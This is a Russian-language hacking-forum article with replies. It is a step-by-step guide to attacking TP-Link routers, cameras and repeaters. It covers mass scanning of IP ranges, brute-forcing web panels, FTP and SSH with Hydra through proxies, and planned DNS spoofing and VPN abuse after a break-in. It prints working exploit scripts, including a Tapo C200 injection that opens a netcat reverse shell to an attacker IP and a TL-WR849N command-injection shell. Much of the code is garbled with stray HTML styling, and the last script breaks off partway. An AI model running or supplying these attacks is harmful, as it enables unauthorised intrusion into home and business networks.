• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Тупой линк! Атаки на TP-Link оборудование.

отличная статья. а есть статистика по бруту панелек? имеет смысл там идти дальше admin:admin; admin:123456 и проч. я так понимаю, что брутить нужно только admin учетку?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
отличная статья. а есть статистика по бруту панелек? имеет смысл там идти дальше admin:admin; admin:123456 и проч. я так понимаю, что брутить нужно только admin учетку?
Смысл имеется берешь топ 20 пассы и можно ебашить, sysadmin и прочие подходящие под админские а так проще admin
 
1.Вступление
  • Знакомство с TP Link
  • Актуальность атак на TP Link

2.Information Gathering
  • Определение оборудования TP Link в сети
  • Определение версии прошивки
  • Сканирование служб и построение векторов атак

3.Bruteforse атаки
  • Брутфорс веб панели
  • Брутфорс FTP
  • Брутфорс SSH

4.Атаки через эксплоиты
  • Список устройств уязвимых к RCE
  • Список устройств уязвимых к Auth Bypass
  • Список устройств уязвимых к Command Injection
  • Список устройств уязвимых к Cross-Site Scripting
  • Список устройств уязвимых к DoS атаке

5.Постэксплуатация
  • Проникаем в удаленную локальную сеть
  • Проводим DNS Spoofing
  • Поднимаем VPN для личного использования
  • Получаем шелл
  • Эксплуатируем уязвимости типа “Authenticated”

6.Итоги

Вступление
Знакомство с TP-Link
TP Link это одна из ведущих мировых компаний, специализирующаяся на производстве сетевого оборудования и решений для домашних и бизнес-сетей. Давайте познакомимся с историей компании и её самыми популярными устройствами.
История компании TP-Link: TP-Link была основана в 1996 году в Китае. Начав свою деятельность с небольшой команды, компания быстро стала известным производителем сетевых устройств благодаря своему фокусу на качестве, инновациях и доступной цене своей продукции. С тех пор TP-Link стала одним из ведущих поставщиков сетевого оборудования по всему миру.


Устройства TP-Link: TP-Link предлагает широкий спектр сетевых устройств, включая маршрутизаторы, коммутаторы, адаптеры Wi-Fi, точки доступа, репитеры, сетевые хранилища и многое другое. Вот некоторые из их самых популярных моделей:
  • Маршрутизаторы: TP-Link предлагает маршрутизаторы различных классов для домашних пользователей и бизнес-среды. Некоторые популярные модели включают Archer C7, Archer A7, Archer AX50, и Archer C4000.
  • Коммутаторы: TP-Link предлагает коммутаторы различной емкости и функциональности для создания стабильных сетей в офисах и домах. Некоторые популярные модели включают TL-SG105, TL-SG108, и TL-SG2424.
  • Точки доступа: TP-Link предлагает беспроводные точки доступа для усиления сигнала Wi-Fi и расширения покрытия сети. Некоторые популярные модели включают EAP225, EAP245, и EAP620.
  • Репитеры: TP-Link предлагает устройства для расширения зоны покрытия Wi-Fi, такие как RE300, RE450, и RE650.
  • Адаптеры Wi-Fi: TP-Link предлагает USB Wi-Fi адаптеры и PCIe адаптеры для подключения компьютеров к беспроводной сети. Некоторые популярные модели включают Archer T4U, Archer T6E, и Archer T9E.
Это все лишь небольшой список самого популярного оборудования. В статье я постараюсь описать работу с многими устройствами от TP-Link

Актуальность атак на TP Link
Уязвимостей для оборудования Tp-Link очень много! В отличии от других производителей роутеров.
Например самые последние эксплоиты:
  • TP-Link TL-WR740N - Authenticated Directory Transversal
  • TP-Link TL-WR940N V4 - Buffer OverFlow
  • TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated)
  • TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
  • TP-Link TL-WR841N - Command Injection
В системной инфраструктуре оборудования стоит много версий разных прошивок, и вот в них ищут те самые уязвимости. 80% уязвимостей оборудования TP Link связаны с веб панелей управления оборудованием.
90% роутеров или другого сетевого оборудования, а тем более домашек TP-Link имеют пароль админ веб-панели по умолчанию.
У всех роутеров открыта веб панель, это самое популярное язвимое место для брута.

Роутеры TP-Link актуальны большими возможностями своей прошивки, изменение настроек сети, поднятие и конфигурация VPN сервера, перепрошивка устройства, настройка кастомного DNS сервера и многое другое!
Также эти роутеры очень популярны в домашних сетях, но не расстраивайтесь – их также используют корпы. Но также не забывайте что и домашние сети можно неплохо отработать зависимо от модели и версии прошивки оборудования. Даже пройдясь простым Router Scan по диапазонам стран, вы словите неплохое количество роутеров TP-Link, про их эксплуатацию мы поговорим в конце статьи.

Information Gathering
Определение оборудования TP Link в сети
Мы будем работать с двумя кейсами: локальная сеть и устройства во всемирной паутине.

Первый этап атаки – сбор информации об цели, но сперва нам нужно определить ту самую цель то есть оборудование TP Link.

Определение с помощью Router Scan:
Инструмент Router Scan умеет парсить заголовки веб страниц входа, тем самым покажет нам марку и модель оборудования (иногда даже тип оборудования и версию прошивки)
Скачать Router Scan: http://stascorp.com/load/0-0-1-56-20

1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование

После завершения сканирования в строке “Search” пишем TP-Link
Теперь после сканирования мы можем увидеть такую картину:
Посмотреть вложение 62993
Мы можем выделить колонку с IP адресами и скопировать ее нажав правой кнопкой мыши и выбрав “copy selected cells”.

Определение по MAC адресу:
С помощью инструмента Advanced IP Scanner мы сможем просканировать локальную сеть и спарсить данные из MAC адресов устройств.

Скачать: https://www.advanced-ip-scanner.com/download/
Запускаем программу , и в поле пишем свою подсеть.
Чтобы узнать подсеть , на системах Windows: Ipconfig на системах Linux: ip a
Нажимаем кнопку “Сканировать”. Запускаем программу , и в поле пишем свою подсеть.
После сканирования , в разделе “производитель” мы найдем устройства от TP-Link

Определение по баннерам сетевых служб:
На 80 порте висит та самая веб-панель, используя инструмент сканирования Nmap с флагом -sV для получения баннера службы, можно определить в сети те самые устройства TP-Link.

Для сканирования локальной подсети:
Nmap -sV 192.168.0.1/24 (не забудьте заменить подсеть на свою)

Для сканирования устройств в всемирной паутине:

Nmap -sV <ip> или Nmap -sV <путь к файлу с IP адресами>

Определение версии прошивки
В заголовке веб страницы админ панели роутера, мы сможем увидеть модель оборудования, а в некоторых случаях и версию прошивки! Исходя из этих данных мы сможем строить актуальные векторы атак на систему.
Используя инструмент Router Scan который мы установили в предыдущей главе мы сможем спарсить информацию из этого заголовка.

1.Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
2.В поле добавления таргетов кликаем сюда на X
3.Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
4.Запускаем сканирование

После завершения сканирования в строке “Search” пишем TP-Link
Теперь в колонке Server name мы сможем увидеть модель оборудования и версию прошивки.

Преимущество Router Scan в том что он работает сразу с большим списком таргетов и в много потоке но если нам надо вручную проверить версию оборудования на определенном IP адресе – перейдите на этот айпи адрес через браузер например: https://192.168.0.1
Вот такую картину мы увидим:
Посмотреть вложение 62995
Сверху у нас будет модель оборудования, и иногда версия прошивки (зависит от модели оборудования)

Сканирование служб и построение векторов атак
Теперь определив оборудование TP-Link в сети, нам надо просканировать все открытые службы для удаленного доступа к девайсу чтобы построить возможные векторы атак.
Для этого мы будем использовать инструмент сканирования Nmap с флагом -A
Nmap -A <IP>
Модуль соберет полную информацию про девайс, такую как все открытые порты на устройстве, баннеры служб, сканирование трассировки и использование скриптов Nmap NSE.

На 90% устройств открыт порт 80, то есть доступ по веб панели, это основной и в почти всех случаях самый эффективный вектор атаки – брутфорс веб панели.

Но иногда мы можем увидеть открытый протокол FTP, а еще чаще е SSH (Dropbear sshd 2012.55) FTP используют как сервер хранения данных, а SSH для удалённого доступа к консоли оболочки роутера.
Если эти два протоколы открыты, значит для каждого протокола у нас появляется новый вектор атаки на цель – брутфорс.

После сбора информации об наших целях, можно перейти к атаке. Сперва мы разберем атаку методом брутфорса на открытые протоколы (Веб панель администрирования, FTP, SSH) а потом перейдем к использованию эксплоитов.

Bruteforse атаки
Брутфорс веб панели
Перейдем к атаке! Основной целей для нас будет веб панель администрирования устройства. Она висит на порте 80, увидеть ее мы можем зайдя на IP адрес роутера через браузер.

Логин и пароль девайса по умолчанию – admin:admin в 70% случаев админы так и оставляют этот логин и пароль в надежде что их хакеры точно не затронут или изменяют на пароли типа qwerty, password и все в этом роде)
Для точечного брута, мы будем использовать инструмент с Github - https://github.com/WalderlanSena/toolsrouterbrute

Также нам нужно вордлист для брута, вот репозиторий с несколькими доступными вариантами: https://weakpass.com/
Скачав инструмент и нужный нам словарь, переходим в директорию с инструментом, и запускаем его с помощью команды python trb.py admin <IP> <путь к словарю>
Инструмент начнет подбор паролей, и в случае удачи – покажет нам пароль к админке.

Для массового взлома роутеров TP-Link мы будем использовать инструмент Router Scan. Его преимущества:
  • Работа с IP диапазонами
  • Добавление списка таргетов (IP)
  • Работа в многопоточном режиме
  • Проведение брутфорс атаки
  • Использование эксплоитов
Скачать Router Scan: http://stascorp.com/load/1-1-0-56
  1. Открываем инструмент Router Scan (На линуксе его можно открыть с помощью инструмента Wine , sudo wine RouterScan.exe)
  2. В поле добавления таргетов кликаем сюда на X
  3. Пишем IP адреса, инструмент также принимает CIDR диапазоны (например x.x.x.x-x.x.x.x или x.x.x.x/24)
  4. Выбираем количество потоков
  5. Запускаем сканирование
После сканирования, перейдем в раздел “Good results” тут мы увидим список взломанных устройств с подходящим логином/паролем
Посмотреть вложение 62996

Брутфорс FTP
FTP - это стандартный протокол для передачи файлов между компьютерами в сети. Оборудование TP-Link часто поддерживает FTP-сервер, который позволяет пользователям обмениваться файлами с другими устройствами через сеть. С помощью FTP можно загружать файлы на устройство TP-Link или скачивать файлы с него. Он использует два канала для передачи данных: управляющий канал для установления соединения и передачи команд, а также канал данных для фактической передачи файлов.

Обычно пользователи могут настроить учетные данные (логин и пароль) для доступа к FTP-серверу в оборудовании TP-Link. Важно использовать надежные учетные данные и при необходимости ограничить доступ к FTP-серверу извне сети, чтобы обеспечить безопасность данных.


Для брутфорса девайса TP-Link через протокол FTP, мы будем использовать инструмент Hydra.

hydra -l <логин> -P <путь к словарю> ftp://<IP>
Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг -P <proxy_list>

Брутфорс SSH
SSH (Secure Shell): SSH - это криптографический сетевой протокол, который обеспечивает защищенное удаленное подключение и выполнение команд на удаленных устройствах. TP-Link-устройства поддерживают SSH, что позволяет администраторам исключительное удаленное управление устройствами через зашифрованное соединение.
SSH обеспечивает безопасную аутентификацию с использованием публичных и приватных ключей или паролей. Через SSH можно выполнить команды на устройстве и настроить различные параметры, в том числе настройки сети и безопасности.

Для брутфорса девайса TP-Link через протокол SSH, мы будем использовать инструмент Hydra.

hydra -l <username> -P <password_list> ssh://<target_ip>
Почти всегда логин это admin, но также для расширенной атаки используйте прокси, это флаг -P <proxy_list>
После удачной атаки, мы получим логин и пароль к SSH, зайдя по нему мы попадем в оболочку Busy box, с которой мы сможем смотреть и создавать файлы.

Атаки через эксплоиты
Список устройств уязвимых к RCE
Remote Code Execution (RCE): Эта уязвимость позволяет злоумышленникам выполнить свой код на устройстве, получив удаленный доступ к системе.

TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE)
TP-Link Tapo C200 - это сетевая камера видеонаблюдения, предназначенная для использования в домах и малых офисах. Она позволяет пользователям наблюдать за своими владениями или рабочими пространствами через удаленный доступ через мобильное приложение.

Уязвимость базируется на не фильтрации запросов к серверу, эксплоит отсылает вредоносный запрос, тем самым вызывает Reverse Shell.

Python:
import requests, urllib3, sys, threading, os

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 1337
REVERSE_SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s %d >/tmp/f'
NC_COMMAND = 'nc -lv %d' % PORT # nc command to receive reverse shell (change it depending on your nc version)

if len(sys.argv) < 3:
    print("Usage: python3 pwnTapo.py <victim_ip> <attacker_ip>")

exit()

victim = sys.argv[1]
attacker = sys.argv[2]

print("[+] Listening on %d" % PORT)
t = threading.Thread(target=os.system, args=(NC_COMMAND,))
t.start()

print("[+] Serving payload to %s\n" % victim)
url = "https://" + victim + ":443/"
json = {"method": "setLanguage", "params": {"payload": "';" + REVERSE_SHELL % (attacker, PORT) + ";'"}}
requests.post(url, json=json, verify=False)


TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution
Эксплоит работает в пределах локальной сети, Этот модуль использует уязвимость внедрения команд в Демон tdpServer (/usr/bin/tdpServer)
Уязвимые устройства – TP-Link Archer A7, TP-Link Archer C7 (Новая техника инъекции работает и на старых прошивках. Все версии прошивки до (но исключая) выпусков 201029 и 201030 могут быть использованы)
Эксплоит находится в инструменте Metasploit Framework, для его выбора выполните эту команду в консоли инструмента: use exploit/linux/misc/tplink_archer_a7_c7_lan_rce



TP LINK TL-WR849N - Remote Code Execution

TP-Link TL-WR849N - это беспроводной маршрутизатор, который предназначен для обеспечения беспроводного интернет-подключения и сетевого распределения в домашних условиях или в небольших офисах. Этот маршрутизатор предлагает базовые функции маршрутизации, беспроводного доступа и защиты, делая его доступным решением для пользователей, которые хотят подключить несколько устройств к интернету.

Удаленный злоумышленник может использовать эту уязвимость, чтобы инициировать удаленное выполнение кода в целевой системе. С помощью зловредного запроса на веб панель.

Код:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> requests
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>outputclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
    url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?1'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>''style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'diagnosticsState\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_HopSeq\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_Result\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    saida class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> rclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>text
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> saidaclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>': Name or service not known'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'[0,0,0,0,0,0]0'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'diagnosticsState='class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'X_TP_HopSeq=0'class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    filtro class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> filtroclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>replaceclass=token>(class=token>'X_TP_Result='class=token>,class=token>''class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>printclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>filtroclass=token>[:class=token>-class=token>8class=token>])style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>acepptclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
    url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?7'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    outputclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>injectclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>):style='font-size:8.0pt;font-family:Consolas;color:black'>
    url class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/cgi?2'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>''style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'maxHopCount=20\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'timeout=5\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'numberOfTries=1\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'host=\"$('class=token>+style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>+class=token>')\"\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'dataBlockSize=64\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_ConnName=ewan_pppoe\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'diagnosticsState=Requested\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    data class=token>+=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'X_TP_HopSeq=0\x0d\x0a'style='font-size:8.0pt;font-family:Consolas;color:black'>
    r class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> requestsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>postclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>urlclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>dataclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>=style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
    acepptclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
class=token>defstyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>mainclass=token>():style='font-size:8.0pt;font-family:Consolas;color:black'>
    cookies class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>"Authorization"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"Basic REPLACEBASE64AUTH"class=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
    headers class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>'Content-Type'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'text/plain'class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
      class=token>'Referer'class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>'http://192.168.0.1/mainFrame.htm'class=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>whilestyle='font-size:8.0pt;font-family:Consolas;color:black'> class=token>Trueclass=token>:style='font-size:8.0pt;font-family:Consolas;color:black'>
        command class=token>=style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>inputclass=token>(class=token>'$ 'class=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
        injectclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>commandclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>headersclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>cookiesclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
 
style='font-size:8.0pt;font-family:Consolas;color:black'>
main()


TP-Link TL-WA850RE - Remote Command Execution

TP-Link WA850RE - это устройство, известное как усилитель беспроводного сигнала или Wi-Fi репитер. Его основная цель - улучшить покрытие беспроводной сети в доме, офисе или другом помещении, где сигнал Wi-Fi может быть слабым или недостаточным.

На httpd-сервере универсального расширителя диапазона Wi-Fi TP-Link WA850RE существует уязвимость, которая позволяет аутентифицированным злоумышленникам вводить произвольные команды в качестве аргументов для вызова execve() из-за отсутствия очистки ввода. Внедренные команды выполняются с привилегиями root.

Код:
importstyle='font-size:8.0pt;font-family:Consolas;color:black'> argparse
import requests
import hashlib
import telnetlib
parser =style='font-size:8.0pt;font-family:Consolas;color:black'> argparseclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>ArgumentParserclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
    descriptionclass=token>=class=token>"Exploits TP-LINK WA850RE Command injection"style='font-size:8.0pt;font-family:Consolas;color:black'>
)
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(class=token>"host"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Host to attack."class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(class=token>"password"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Extender's Password"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
parser.style='font-size:8.0pt;font-family:Consolas;color:black'>add_argumentclass=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"-C"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"--cookie"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>helpclass=token>=class=token>"Cookie id value."class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>typeclass=token>=class=token>strclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> defaultclass=token>=class=token>"1301a8c000c4c505"style='font-size:8.0pt;font-family:Consolas;color:black'>
)
args =style='font-size:8.0pt;font-family:Consolas;color:black'> parserclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>parse_argsclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
HOST =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>host
PASSWORD =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>password
COOKIE =style='font-size:8.0pt;font-family:Consolas;color:black'> argsclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>cookie
cookies =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{class=token>"gsScrollPos-8016"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"0"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"COOKIE"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>}style='font-size:8.0pt;font-family:Consolas;color:black'>
headers =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>{style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Origin"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"http://%s/"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Accept-Encoding"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"gzip, deflate"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Accept-Language"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"en-US,en;q=0.9,es;q=0.8"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"User-Agent"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"Mozilla/5.0"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Content-Type"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"application/x-www-form-urlencoded; charset=UTF-8"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Accept"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"application/json, text/javascript, */*; q=0.01"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Referer"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"http://%s/"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> HOSTclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"X-Requested-With"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"XMLHttpRequest"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"Connection"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"keep-alive"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
    class=token>"DNT"class=token>:style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"1"class=token>,style='font-size:8.0pt;font-family:Consolas;color:black'>
}
password =style='font-size:8.0pt;font-family:Consolas;color:black'> hashlibclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>md5class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>PASSWORDclass=token>.style='font-size:8.0pt;font-family:Consolas;color:black'>encodeclass=token>(class=token>"utf-8"class=token>)).style='font-size:8.0pt;font-family:Consolas;color:black'>hexdigestclass=token>().style='font-size:8.0pt;font-family:Consolas;color:black'>upperclass=token>()style='font-size:8.0pt;font-family:Consolas;color:black'>
encoded =style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>"%s:%s"style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>%style='font-size:8.0pt;font-family:Consolas;color:black'> class=token>(style='font-size:8.0pt;font-family:Consolas;color:black'>passwordclass=token>,style='font-size:8.0pt;font-family:Consolas;color:black'> COOKIEclass=token>)style='font-size:8.0pt;font-family:Consolas;color:black'>
